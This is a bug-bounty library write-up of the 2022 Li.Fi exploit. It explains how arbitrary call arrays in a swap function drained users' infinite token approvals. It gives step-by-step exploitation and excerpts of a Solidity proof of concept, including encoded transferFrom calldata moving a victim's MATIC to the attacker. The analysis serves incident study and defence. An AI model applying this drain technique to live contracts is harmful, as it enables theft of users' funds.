# Li.Fi: arbitrary call in swapData drains user approvals

Li.Fi's pre-bridge swap let callers invoke arbitrary token transferFrom, draining users' infinite approvals to the contract.

- Payout: Real-world hack
- Severity: critical
- Program: Li.Fi
- Analysis by: DeFiHackLabs
- Disclosed: 2022-03-20
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-03/LiFi_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220320-lifi
- Tags: area:web3 domain:web3 impact:funds-loss impact:mass-exploit kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** Li.Fi bridge swap contract (swapAndStartBridgeTokensViaCBridge)
**Root cause:** The pre-bridge swap feature executed an arbitrary array of external calls with attacker-controlled callTo and callData, without restricting targets to DEX routers or validating that calls only spend the caller's own funds.
**Steps:**
1. Call `swapAndStartBridgeTokensViaCBridge` with a legitimate small USDT->USDC swap as `_swapData[0]` to satisfy the balance check.
2. Append many `_swapData` entries where `callTo` is a token contract and `callData` is `transferFrom(victim, attacker, amount)` (selector `23b872dd`).
3. Each call executes from the Li.Fi contract, so it spends victims' infinite approvals to Li.Fi.
4. Repeat across tokens (MATIC, GNO, USDT, etc.) and bridge the small legit amount to complete the flow.
**How found:** Attacker recognized the swap array allowed arbitrary callTo/callData, and that the contract held infinite token approvals from users, so any token's transferFrom could be invoked from the contract's context.
**Exploitation:** Attacker submitted one transaction with 38 swap entries: index 0 a real 0x swap of 50 USDT, indices 1+ direct `transferFrom` calls on token contracts pulling from users who had granted infinite approval to Li.Fi, sending all funds to the attacker address 0x8780...177E.
**Insight:** When a contract executes user-supplied callTo/callData arrays, check whether it holds standing ERC20 approvals from other users; arbitrary calls then become a drain primitive via transferFrom even if the swap result check passes.

## Proof of concept (copied exactly from the original report)

**Legitimate swap entry calling 0x Def1C0ded**

```
_swapData[0] = ILIFI.SwapData({
            approveTo: 0xDef1C0ded9bec7F1a1670819833240f027b25EfF,
            callData: hex"d9627aa400000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000002faf0800000000000000000000000000000000000000000000000000000000002625a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48",
            // sellToUniswap(address[],uint256,uint256,bool)
            // {
            //     "tokens":[
            //     0:"0xdac17f958d2ee523a2206206994597c13d831ec7"
            //     1:"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48"
            //     ]
            //     "sellAmount":"50000000"
            //     "minBuyAmount":"40000000"
            //     "isSushi":false
            // }
            callTo: 0xDef1C0ded9bec7F1a1670819833240f027b25EfF,
            fromAmount: 50_000_000,
            receivingAssetId: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,
            sendingAssetId: 0xdAC17F958D2ee523a2206206994597C13D831ec7 // fromAssetId
```

**First malicious transferFrom on MATIC token**

```
_swapData[1] = ILIFI.SwapData({
            approveTo: 0x0000000000000000000000000000000000000000,
            callData: hex"23b872dd000000000000000000000000445c21166a3cb20b14fa84cfc5d122f6bd3ffa17000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000a4a88a24badca2e52e", // transferFrom(address,address,uint256)
            callTo: 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0,
```

